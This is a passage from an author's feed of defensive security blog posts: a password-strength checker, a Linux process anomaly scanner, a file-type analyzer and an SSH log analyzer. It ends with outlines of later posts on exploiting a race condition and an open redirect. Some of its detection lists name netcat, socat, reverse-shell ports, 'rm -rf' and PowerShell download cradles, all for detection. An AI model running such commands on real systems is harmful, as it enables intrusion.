Characters	Possibilities
lowercase	26
uppercase	26
numbers	10
symbols	~32

So a long password made only of lowercase letters is still weak.

Because the search space stays small.

Security isn’t about complexity.

It’s about possibilities.

The Scariest Feature: Crack Time

PassAudit estimates how long a real attacker needs to brute-force the password.

It assumes:

10 billion guesses per second

Which modern GPUs can realistically achieve in offline attacks.

Calculation:

time = 2^entropy / guesses_per_second

Example results:

Password	Crack Time
password123	seconds
Qwerty@123	minutes
Tr0ub4dor&3	hours
random 16-char	thousands of years

The important part:

Security grows exponentially, not linearly.

One unpredictable character can multiply safety by millions.

Catching Human Habits

While testing, I discovered something interesting.

People don’t invent randomness.

They invent memories.

So I added behavior detections.

1. Dictionary Detection

If a password contains common words:

password
admin
welcome
letmein

the verdict drops immediately.

Because real attackers don’t brute force first.
They run wordlists like rockyou.txt.

2. Keyboard Pattern Detection

This one was eye-opening.

Patterns like:

qwerty
asdf
12345

appear constantly in breached databases.

Humans remember finger motion, not randomness.

Attackers know that.

3. Character Diversity

The tool also checks if the password uses:

lowercase
uppercase
numbers
symbols

Each category lights up visually.

You instantly see what your password lacks.

Verdict Logic

PassAudit classifies passwords using strict thresholds:

Verdict	Meaning
WEAK	entropy < 40 OR predictable patterns
MODERATE	usable but risky
STRONG	high entropy, no flags

Below 40 bits, modern cracking rigs can recover passwords extremely quickly.

Above 60 bits, brute force becomes impractical.

What Surprised Me

I asked friends to create a “secure password”.

Most looked like:

Name@2024
College#1
Petname123

Different people.
Same structure.

Humans optimize for remembering.
Attackers optimize for predicting.
And prediction wins.

Code Walkthrough (How PassAudit Actually Works)

PassAudit is divided into two parts:

The security analysis engine
The graphical interface

The GUI only displays information.
All decisions are made by the analysis functions.

1. Entropy Calculation

The core of the project is this function:

def calc_entropy(password: str) -> float:
    charset = 0
    if re.search(r"[a-z]", password): charset += 26
    if re.search(r"[A-Z]", password): charset += 26
    if re.search(r"[0-9]", password): charset += 10
    if re.search(r"[^a-zA-Z0-9]", password): charset += 32
    if charset == 0: return 0.0
    return round(len(password) * math.log2(charset), 2)

Instead of checking only password length, the program first determines how many possible characters could have been used.

Each character category increases the search space:

lowercase letters add 26 possibilities
uppercase letters add 26
digits add 10
symbols add about 32

The entropy formula:

entropy = length × log₂(charset_size)

This represents how many guesses an attacker needs on average.

So two 10-character passwords can have completely different strength depending on the character types used.

2. Dictionary Detection

Attackers rarely brute-force first.
They use wordlists.

This function checks if the password contains common leaked passwords:

def dictionary_check(password: str) -> bool:
    pl = password.lower()
    return any(w in pl for w in COMMON_PASSWORDS)

If the password contains words like:

password
admin
welcome
letmein

the tool immediately flags it as dangerous.

Why?

Because tools like Hashcat try millions of known passwords before attempting brute force.

3. Keyboard Pattern Detection

Humans often remember motion, not randomness.

So the program checks keyboard walks:

def pattern_check(password: str) -> bool:
    pl = password.lower()
    return any(p in pl for p in KEYBOARD_PATTERNS)

Patterns such as:

qwerty
asdf
12345

are extremely common in breach databases.
Even if they look complex to a human, they are predictable to an attacker.

4. Character Diversity

This function counts how many different character groups are used:

def diversity(password: str) -> int:
    types = 0
    if re.search(r"[a-z]", password): types += 1
    if re.search(r"[A-Z]", password): types += 1
    if re.search(r"[0-9]", password): types += 1
    if re.search(r"[^a-zA-Z0-9]", password): types += 1
    return types

It returns a number from 0 to 4.

The GUI then lights up indicators for:

lowercase
uppercase
digits
symbols

This gives instant visual feedback about missing categories.

5. Crack Time Estimation

This is the most impactful feature psychologically.

secs = (2 ** entropy) / 10_000_000_000

The program assumes an attacker can test 10 billion guesses per second using modern GPUs.

Then it converts seconds into a human readable format like minutes, hours, days, or years.

Users immediately understand the difference between:
“hard to guess” and “mathematically impossible”.

6. The Verdict System

The decision engine:

def get_verdict(ent, dict_hit, pat_hit):
    if ent < 40 or dict_hit or pat_hit:
        return "WEAK"
    if ent < 60:
        return "MODERATE"
    return "STRONG"

This is intentionally strict.

Even a long password becomes WEAK if it contains a dictionary word or keyboard pattern.
Because real attackers prioritize predictability, not just length.

7. Real-Time Analysis (The Important Part)

The most important function in the program is the event handler:

self.pw_entry.bind("<KeyRelease>", self._on_change)

Every time the user types a character, _on_change() runs.

It:

reads the password
calculates entropy
checks patterns
updates warnings
moves the strength bar
updates the verdict

This is why the interface feels “alive”.
The analysis is not triggered by a button, but by typing itself.

8. Separating Logic From UI

A design decision I intentionally followed:

The GUI never performs security logic.

It only displays results from functions like:

calc_entropy()
dictionary_check()
pattern_check()

This makes the security engine reusable later in:

a CLI tool
a web application
a login auditing system

The interface is just the dashboard.

The real work happens in the functions.

Technologies Used

Python
CustomTkinter (for a modern dark UI)
regex pattern detection
entropy mathematics

No online APIs.
No heavy security libraries.

Just math + psychology.

Screenshots

A Note on AI Assistance

One honest detail about this project.

I’m not very strong on the design side of development. I enjoy security logic, analysis, and building tools, but UI layout and visual polish have never been my area. So for the interface layout and visual structuring, I used Claude to help me shape the GUI.

The challenge itself is not an “AI-generated project”. All the security logic, entropy calculations, detections, and implementation were written and understood by me. I only used AI as a design assistant.

I see this as part of modern engineering rather than a shortcut.

Developers already rely on compilers, frameworks, linters, and libraries to handle things outside our core expertise. AI fits into that same space. It helps automate overhead work that we’re not specialized in, so we can focus on what we are actually trying to learn and build.

In my case, that focus is cybersecurity concepts, not visual design.

I believe the real skill today is not avoiding tools, but using them responsibly and understanding the code you ship.

What I Learned

I thought this would be a GUI project.

It turned into a lesson about security.

Strong passwords are not:

long words
clever substitutions
personal references

Strong passwords are:

unpredictable.

Security doesn’t usually fail because cryptography breaks.

Security fails because humans are consistent.

And computers are extremely good at exploiting consistency.

Day 14 — I Built ProcWatch : A Linux Process Security Scanner for Forensics & Incident Response

Hafiz Shamnad — Sun, 01 Mar 2026 06:17:20 +0000

A small Python script that turned into a live anomaly detector and accidentally taught me how attackers actually live inside a Linux machine.

The Moment This Tool Became Necessary

If you’ve ever solved a Linux forensics CTF, you know the ritual.

You SSH into the machine.
Everything looks normal.

Then you notice:

CPU usage feels weird
There’s network traffic
Logs don’t line up

So you begin the ancient ceremony:

ps aux | grep -v grep
netstat -tulnp
ls -la /tmp
cat /proc/<pid>/cmdline

You scroll.
You guess.
You re-run commands.

Somewhere in those 200+ processes is a reverse shell, a dropper, or a cryptominer… and you are manually playing Where’s Waldo: Incident Response Edition.

After one challenge where I lost 40 minutes hunting a shell hiding in /dev/shm, I realized:

I wasn’t solving a cybersecurity problem.
I was solving a visibility problem.

So I built a tool.

That tool became ProcWatch.

What ProcWatch Actually Is

ProcWatch is a Python-based process behavior scanner.

Not antivirus.
Not signature detection.

It asks a different question:

Is any process on this system behaving like an attacker would?

Instead of checking files, it watches process behavior patterns used in real intrusions.

The Threat Model

Before writing detections, I mapped how attackers typically behave after gaining Linux access:

Stage	What attackers do
Foothold	Drop binaries in `/tmp` or `/dev/shm`
Control	Spawn reverse shells
Escalation	Abuse SUID or LD_PRELOAD
Persistence	Run scripts via interpreters
Monetization	Install crypto miners
Evasion	Delete binaries after execution

Every ProcWatch detection maps directly to one of these.

Detection 1 — Executing from Writable Directories (CRITICAL)

SUSPICIOUS_LOCATIONS = ["/tmp", "/dev/shm", "/var/tmp", "/run/user", "/dev/mqueue"]

Malware loves writable directories because:

No permissions required
Rarely monitored
Easy to clean up

/dev/shm is especially interesting.
It’s RAM-backed storage. Reboot the machine and evidence disappears.

Legitimate software almost never runs from here.

If you see:

/dev/shm/hidden_binary

You didn’t find a program.

You found the attacker.

Detection 2 — Suspicious Interpreter Usage

SUSPICIOUS_NAMES = ["bash","sh","nc","python","perl","ruby","socat"]

On its own this means nothing.

But combined with location or network activity, it becomes powerful.

A python3 process is normal.
A python3 process in /tmp connected to port 4444 is not.

This is called living-off-the-land.
Attackers use legitimate tools so they don’t need to upload malware.

Detection 3 — Privilege Escalation Indicators

if uids.real != uids.effective:

Linux processes have:

real UID
effective UID

If they differ, you just caught a SUID privilege escalation in action.

Even more suspicious:

root process running from /home/user

Root processes belong in /usr/bin, not a user’s Downloads folder.

Detection 4 — Reverse Shell & C2 Detection

4444, 5555, 7777, 31337

These ports are classics for reverse shells and C2 listeners.

ProcWatch distinguishes between:

LISTEN → suspicious
ESTABLISHED outbound connection → almost certain compromise

A process connecting outward to port 4444 is basically waving a flag saying:
“someone else is controlling me.”

Detection 5 — Cryptominer Detection

Two techniques:

Keyword detection

xmrig, monero, stratum, pool

Behavioral detection

CPU usage > 85%

Why this matters:

Modern attackers often don’t destroy systems.

They monetize them.

Many real breaches are discovered because servers suddenly run at 100% CPU 24/7.

Detection 6 — Deleted Executable Trick

Attackers often do:

Run malware
Delete the file

Linux keeps the process alive in memory.

The file disappears from disk but continues executing.

Kernel hint:

/proc/<pid>/exe -> binary (deleted)

ProcWatch detects exactly this.

You can even recover it:

cp /proc/<pid>/exe recovered_binary

That’s a real forensic technique.

Detection 7 — LD_PRELOAD Injection (Advanced)

LD_PRELOAD=/tmp/libevil.so

This is powerful.

Instead of malware, attackers load a malicious library that intercepts system calls:

hide files
steal passwords
fake authentication

This is how many user-space rootkits work.

Catching this is almost always a confirmed compromise.

The CLI

I designed the tool like git:

procwatch scan
procwatch scan -v -j
procwatch watch
procwatch info <pid>
procwatch list

The most useful mode

procwatch watch

It alerts only on new suspicious processes, so you get a live feed of attacker activity.

It feels surprisingly close to a real SOC monitoring console.

How This Helps in CTFs

Immediately after login:

procwatch scan -j

You now have a timestamped snapshot of the system’s process state.

Instead of investigating 200 processes, you investigate 3.

That changes a 45-minute challenge into a 5-minute one.

Limitations

This tool operates in user space via /proc.

So it cannot detect kernel rootkits.
If the kernel itself lies, ProcWatch will believe it.

Also:

Some interpreter alerts are false positives
Containers hide processes via namespaces

Future upgrades I’m considering:

YARA memory scanning
eBPF syscall monitoring
ptrace detection

Running It

pip install psutil
sudo python3 procwatch.py scan -v

(Root gives full visibility into environment variables and connections.)

What I Learned

I started this to automate a CTF workflow.

Instead, I learned something important:

Attackers don’t hide files.
They hide behavior inside normal processes.

And behavior is much harder to fake.

ProcWatch doesn’t replace investigation.
It just shines a flashlight directly where you should start looking.

Day 13 — I Stopped Trusting File Names and Started Inspecting Files (SafeOpen v2)

Hafiz Shamnad — Fri, 27 Feb 2026 05:30:21 +0000

Yesterday my tool only looked at the filename.

Today I realised the filename is the lie attackers want you to believe.

The Moment Everything Changed

I took a harmless malicious.bat and renamed it to invoice.pdf.

My old checker (Day 12) said: “Looks safe ✅”

Windows Explorer showed: invoice.pdf (icon = PDF)

A normal user would double-click without a second thought.

But the file was still a batch script.

That’s when it hit me:

The operating system doesn’t execute the name.

It executes the content.

Files Have Two Identities

What the user sees → filename + icon (easy to fake)
What the OS executes → magic bytes (first 2–8 bytes of the file)

Real examples:

PDF → always starts with %PDF
Windows EXE → always starts with MZ
ELF binary (Linux) → starts with 7f ELF
ZIP (DOCX, XLSX, JAR…) → starts with PK\x03\x04

If the header says “executable” but the name says “document”, that’s a disguise. Game over for filename-only checkers.

So I rebuilt everything.

SafeOpen v2 — “Inspect Before You Execute”

Here’s the complete, ready-to-run tool with full explanations of every new capability.

#!/usr/bin/env python3
"""
SafeOpen v2 — File Security Analyzer
Inspect before you execute.
"""

import sys, hashlib, mimetypes, os, math, struct, time, argparse, json, re
from datetime import datetime

# === 1. Magic Byte Detection (Upgrade #1) ===
MAGIC_SIGNATURES = {
    b"MZ":                    "Windows PE Executable",
    b"\x7fELF":               "Linux ELF Executable",
    b"\xca\xfe\xba\xbe":      "Java Class File",
    b"PK\x03\x04":            "ZIP Archive (DOCX/XLSX/JAR/etc)",
    b"%PDF":                  "PDF Document",
    b"\x89PNG":               "PNG Image",
    b"\xff\xd8\xff":          "JPEG Image",
    # ... (full dict in the complete code below)
}

def detect_magic(data):
    for magic, desc in MAGIC_SIGNATURES.items():
        if data.startswith(magic) or magic.lower() in data[:512].lower():
            return desc
    return None

What this does: Reads the first 2048 bytes and matches against known headers.

Rename malware.exe → report.pdf → tool now screams “CRITICAL — Executable disguised as document”.

# === 2. Entropy — The “Malware Smell” (Upgrade #2) ===
def entropy(data):
    if not data: return 0.0
    occur = [0] * 256
    for byte in data:
        occur[byte] += 1
    ent = 0.0
    length = len(data)
    for x in occur:
        if x == 0: continue
        p = x / length
        ent -= p * math.log2(p)
    return ent

Why it matters: Normal documents have structure → entropy ~4.0–6.5

Packed/encrypted malware → entropy >7.5 (looks like random noise).

No signatures needed. Pure mathematics.

# === 3. Suspicious Behaviour Indicators (Upgrade #3) ===
SUSPICIOUS_STRINGS = [
    (b"powershell", "PowerShell downloadcradle"),
    (b"Invoke-WebRequest", "Downloader"),
    (b"rm -rf", "Destructive delete"),
    (b"net user", "User creation"),
    # ... 20+ more patterns
]

def scan_strings(data):
    hits = []
    lower = data.lower()
    for pattern, desc in SUSPICIOUS_STRINGS:
        if pattern.lower() in lower:
            hits.append(desc)
    return hits

Scans first 512 KB for known malicious patterns. A document containing powershell -c Invoke-WebRequest is not a document.

# === 4. Embedded Network Indicators (Upgrade #4) ===
# Simple regex on decoded text
urls = re.findall(r'https?://[^\s\'"<>]{4,80}', text)
ips  = re.findall(r'\b(?:\d{1,3}\.){3}\d{1,3}\b', text)

Shows you every C2 server or IP the file wants to talk to before you open it.

# === 5. Cryptographic Hashes + PE Header Parsing (Upgrade #5) ===
def sha256sum(path): ...
def md5sum(path): ...

def get_pe_info(data):
    # Parses MZ → PE header, extracts architecture, compile time, DLL/EXE flag
    ...

Even if the file is renamed 10 times, the SHA-256 is the same.

PE parser tells you “64-bit executable compiled on 2025-11-03”.

Risk Meter — One Number to Rule Them All

Every check adds to a 0–100 risk score:

Extension mismatch → +25
High entropy → +30
Suspicious strings → +5 each
Embedded URLs → +2 each
PE executable in .pdf → instant jump

Then a beautiful terminal risk meter with colour-coded threat level (CLEAN → CRITICAL).

What SafeOpen Is (and Is Not)

Is: 5-second pre-execution triage for suspicious attachments.

Is not: Antivirus, sandbox, or signature-based detector.

It solves the exact moment every SOC analyst, helpdesk tech, and power user faces:

“Hey, is this invoice.pdf safe?”

How to use it right now:

python3 safeopen.py suspicious.pdf --strings
python3 safeopen.py *.exe --json-out report.json

Results

Final Thought

Most breaches aren’t zero-days.

They’re ordinary files opened by ordinary people who trusted the filename.
Sorry for missing yesterday’s post. I got pulled into some serious debugging and real testing, and the write-up itself took longer than I expected. I didn’t want to rush it and post something half-baked, so I waited until it was stable and properly explained. Day 13 is finally here 🙂

SafeOpen gives you the habit:

Don’t execute first. Inspect first.

Drop a 🔥 if you want the Day 14 tomorrow.

Day 12 — I Built a File Safety Checker in Python (and Accidentally Learned How Malware Tricks Humans)

Hafiz Shamnad — Wed, 25 Feb 2026 11:35:31 +0000

A simple cybersecurity tool that turned into a lesson about trust, psychology, and why file extensions lie.

The Moment That Started It

A friend of mine once received a file through chat.

The name looked harmless:

invoice_march.pdf.exe

He almost opened it.

Almost.

That single moment stuck in my head. Not because malware is advanced… but because it didn’t need to be.
The attack relied on something much simpler:

Human assumptions.

We don’t read filenames carefully. We pattern-match.

We see pdf → brain says document → double-click.

So I wondered:

Can I build a small tool that warns people before they open something dangerous?

I thought it would take a day.

It turned into one of my favorite cybersecurity Python projects.

Where It Started (7 Lines)

My first version was painfully simple:

dangerous = [".exe", ".bat", ".cmd", ".scr", ".js", ".vbs", ".msi"]
filename = input("Enter file name: ").lower()

if any(filename.endswith(ext) for ext in dangerous):
    print("Suspicious file! Do NOT open.")
else:
    print("Looks safe (based on extension)")

It technically worked.

But it was basically a digital version of a security guard who checks only the color of your shirt.

Problems:

No real file scanning
No context
No different risk levels
No useful advice

I wanted something closer to a real security tool.

So I kept building.

Upgrade #1 — Threat Levels

Not every suspicious file is equally dangerous.

Opening a .pdf is not the same as executing a .exe.

So I designed a threat classification system:

🔴 CRITICAL

Direct executables

.exe .bat .cmd .dll .scr .msi

These can run code immediately.

🟠 HIGH

Scripting payloads

.js .vbs .ps1 .reg .hta

Often used in phishing emails and Windows attacks.

🟡 MEDIUM

Conditional risk

.py .sh .jar .docm .iso

Danger depends on how it is used.

🔵 LOW

Usually safe but exploitable

.pdf .zip .doc

Safe most of the time… but attackers love hiding here.

Now instead of a boring “safe/unsafe”, the tool explains why a file is risky.

The Sneakiest Trick: Double Extensions

Here’s the real villain.

photo.jpg.exe
document.pdf.exe
resume.docx.scr

Windows hides known extensions by default.

So users only see:

photo.jpg

But the OS runs:

photo.jpg.exe

That’s not hacking.

That’s social engineering.

My checker now automatically detects this and raises a critical warning.

Upgrade #2 — Scanning Real Files

The tool now accepts an actual file path and extracts metadata:

It shows:

File size
Last modified time
MIME type
SHA-256 hash

The hash matters a lot.

If a website claims:

“Download our official installer”

You can compare the hash.

If it doesn’t match, the file is not the same file.

No guessing. Just math.

Three Ways to Use the Tool

1) Interactive Mode

python file_checker.py

Scan multiple files one after another like a mini terminal application.

2) Single File Scan

python file_checker.py suspicious.exe -v

Instant analysis + metadata.

3) Directory Scan

python file_checker.py -d ~/Downloads

This one is powerful.

Your downloads folder is basically a wildlife reserve for questionable files 🐍

The script scans everything and summarizes results.

What I Actually Learned

This project taught me more cybersecurity than many theory classes.

1. File Extensions Are Lies

Extensions are just labels.
They are not security.

Real security tools inspect file headers, not names.

2. Python Standard Library Is Underrated

I used:

hashlib for hashing
argparse for CLI
pathlib for file handling
mimetypes for detection

No external libraries.

Python already had everything.

3. Good CLI UX Matters

Security tools fail if people don’t use them.

So I added:

Color output
Clear warnings
Contextual advice
History in interactive mode

A security tool should feel helpful, not scary.

What This Tool Cannot Do

This is important.

This is not antivirus.

Limitations:

No malware signature detection
No behavioral analysis
No packed malware detection
No online database lookup

It’s a first-line warning system.

Think of it as a digital friend saying:

“Wait… are you sure you want to open that?”

Sometimes that 2-second pause prevents infection.

What I Want To Add Next

Future ideas:

VirusTotal hash lookup
File header inspection (magic bytes)
Real-time folder monitoring
JSON output for automation

Especially VirusTotal. That would make it genuinely useful.

Final Thoughts

Cybersecurity is not always about advanced exploits.

Many attacks succeed because:

users trust filenames
systems hide extensions
people click fast

This tool won’t make you invincible.

But it will stop the most common mistake:

Opening the wrong file.

And honestly… that’s how a lot of compromises begin.

If you’re learning Python and cybersecurity, build tools like this.
You’ll learn file handling, hashing, CLI design, and threat modeling in one project.

Also:

Your downloads folder deserves suspicion.

Stay curious. Stay careful.

Day 11 — I Built My Own SIEM-Style Log Analyzer (LogGuardian) in Pure Python

Hafiz Shamnad — Tue, 24 Feb 2026 14:20:34 +0000

For the past few days I’ve been doing something unusual.

Instead of only learning cybersecurity theory, I’ve been building the tools that security engineers actually use.

I built scanners.
I exploited vulnerabilities.
I detected secrets in source code.

Today I switched sides.

Today I became the defender.

The Problem Nobody Notices (Until It’s Too Late)

Every Linux server quietly keeps a diary.

Inside:

/var/log/auth.log

And it looks harmless… until you actually read it:

Mar 14 03:22:14 server sshd[9841]: Failed password for root from 45.33.32.156 port 42190 ssh2
Mar 14 03:22:15 server sshd[9842]: Failed password for root from 45.33.32.156 port 42191 ssh2
Mar 14 03:22:16 server sshd[9843]: Failed password for admin from 45.33.32.156 port 42192 ssh2

This is not a user making mistakes.

This is an automated brute-force attack happening right now.

Here’s the scary part:

Most beginners never open this file.
But attackers already know it exists.

So I asked a simple question:

What if I could automatically detect attacks just by reading logs?

That became LogGuardian.

Where It Started (20 Lines)

My first version was extremely small.
It only counted failed logins per IP.

import re
from collections import defaultdict

log_file = "server.log"
failed_attempts = defaultdict(int)

with open(log_file, "r") as file:
    for line in file:
        if "Failed password" in line:
            ip = re.search(r'from (\d+\.\d+\.\d+\.\d+)', line)
            if ip:
                failed_attempts[ip.group(1)] += 1

for ip, count in failed_attempts.items():
    if count >= 3:
        print(f"[ALERT] Possible brute-force attack from {ip} ({count} failed attempts)")

It worked.

But it was basically a calculator, not a security tool.

Real security teams need answers like:

Who is attacking?
What usernames are targeted?
Did the attacker actually succeed?

So I kept going.

Turning Logs Into Intelligence

SSH logs actually contain multiple types of events:

Event	Meaning
Failed password	Wrong password attempt
Invalid user	Username doesn't exist
Accepted password	Successful login
Accepted publickey	SSH key login

So I upgraded the parser to track:

IP addresses
usernames targeted
successful logins
timestamps

Key trick:

errors="replace"

Attackers sometimes send malformed bytes. Without this, one bad line crashes your program. Real logs are messy. Security tools must survive messy data.

The First Real Security Feature — Threat Levels

Three failed attempts ≠ 3000 failed attempts.

So LogGuardian classifies attackers:

🟢 LOW
🟡 MEDIUM
🟠 HIGH
🔴 CRITICAL

def threat_level(count, thresholds):
    low, med, high = thresholds
    if count >= high:
        return "CRITICAL"
    elif count >= med:
        return "HIGH"
    elif count >= low:
        return "MEDIUM"
    else:
        return "LOW"

Now the log file isn’t just text.

It’s a threat map.

The Scariest Scenario (And Why This Matters)

I added one small check that changed everything:

What if an IP fails many times… and then logs in successfully?

pwned = [(ip, n) for ip, n in sorted_ips if ip in successful]

This detects:

Credential stuffing success.

In other words:

The attacker guessed the password.

LogGuardian marks it as:

⚠ DANGER ZONE — BREACH SUSPECTED
45.33.32.156  80 failures + 1 success

That is literally how many real security incidents are first discovered.

Making a CLI Security Tool

I didn’t want a script.

I wanted a tool.

So I added argparse:

python3 logguardian.py /var/log/auth.log

Options:

custom threat thresholds
export report
disable colors
large log support
generate a fake attacked log

python3 logguardian.py --generate-sample

This lets anyone test the tool instantly.

Actionable Output (Important)

Security tools should not just say:

“Something is wrong.”

They should say:

“Here’s exactly what to do.”

LogGuardian prints ready-to-use firewall commands:

sudo ufw deny from 45.33.32.156 to any

No guessing. No Googling under pressure.

What I Actually Learned

Today’s lesson was bigger than Python.

I accidentally learned how SIEM systems work.

Tools like:

Splunk
Wazuh
Elastic Security

do the same thing, just at massive scale.

They:

Collect logs
Parse events
Detect patterns
Raise alerts
Recommend response

LogGuardian does all five.

Just locally.

Just with Python.

Try It Yourself

python3 logguardian.py --generate-sample
python3 logguardian.py server.log

Or analyze your own machine:

sudo python3 logguardian.py /var/log/auth.log

You might be surprised.

Even a personal computer gets login attempts from bots on the internet.

What’s Next

Planned upgrades:

live monitoring mode (tail -f detection)
automatic IP blocking
GeoIP attacker mapping
fail2ban integration

We started this series by attacking vulnerable apps.

Now we are detecting attackers.

And that moment felt important.

Because cybersecurity isn’t just breaking systems.

It’s protecting people who don’t even know they were targeted.

Forem: Hafiz Shamnad

Day 21 — The Heist in Milliseconds — Cracking NovaPay with a Race Condition TOCTOU Attack

The Setup: NovaPay's House of Cards

Lab Architecture: Your Personal Bank Heist Simulator

Quickstart: Boot the Bank

The Flaw Exposed: Vulnerable Server Code

The Heist: Exploiting the Race Window

Attack Timeline: The Crowbar in Action

Hands-On Exploit #1: UI Attack Panel

Hands-On Exploit #2: Scripted Fury (exploit.py)

The Autopsy: Why the Vault Cracked

The Counter-Heist: Fortifying NovaPay

Fix #1: Lock It Down (server_fixed_lock.py)

Fix #2: Atomic Math (server_fixed_atomic.py)

Lab Screenshot

Real-World Echoes & Hunt Tips

Epilogue: Lessons from the Shadows

Day 20 — A Deep Dive into Open Redirect Vulnerabilities in Flask – From Exploitation to Ironclad Fixes

What is an Open Redirect Vulnerability?

Why It's Dangerous

Common Triggers in Web Apps

Building a Vulnerable Flask App: The Setup

The Core Flaw Dissected

Exploiting Open Redirect: Attack Vectors in Action

Basic Exploitation

Advanced Scenarios

Detection Tools

Fixing It: From Basic to Battle-Hardened

Step 1: Basic Internal-Only Check

Step 2: Advanced Whitelisting and Edge Cases

Step 3: Framework Best Practices

Real-World Examples and Lessons

Hands-On Lab: Test and Tweak

Key Takeaways

Day 19 — How I Built a File Integrity Monitor in Python to Detect File Tampering

This is exactly the problem File Integrity Monitoring solves.

Introduction

The Security Problem: Why File Integrity Monitoring Matters

Detecting Unauthorized Changes

Compliance Requirements

Forensic Baseline

Architecture Overview

5. Differences are reported

How It Works

Phase 1 — Baseline Creation

Phase 2 — Integrity Scanning

Cryptographic Hashing: The Engine Behind FIM

SHA-256 (Default)

MD5

BLAKE2b

Code explanation

1. Shebang and Header

2. Importing Required Libraries

3. ANSI Color Class (Terminal Styling)

4. Global Configuration

5. Banner Printing

6. Helper Functions

tag()

section()

progress_bar()

human_size()

file_meta()

7. Hashing Engine

Hashing a File

8. Directory Scanning Engine

1. Walk through the directory

2. Filter by extension

3. Hash each file

4. Store results

9. Creating the Baseline

10. Integrity Checking

Modified files

Deleted files

New files

11. Exporting Reports

12. File Verification

13. Watch Mode (Continuous Monitoring)

Installation

Usage Guide

Creating a Baseline

Hands-On Exploit #2: Scripted Fury (`exploit.py`)

Fix #1: Lock It Down (`server_fixed_lock.py`)

Fix #2: Atomic Math (`server_fixed_atomic.py`)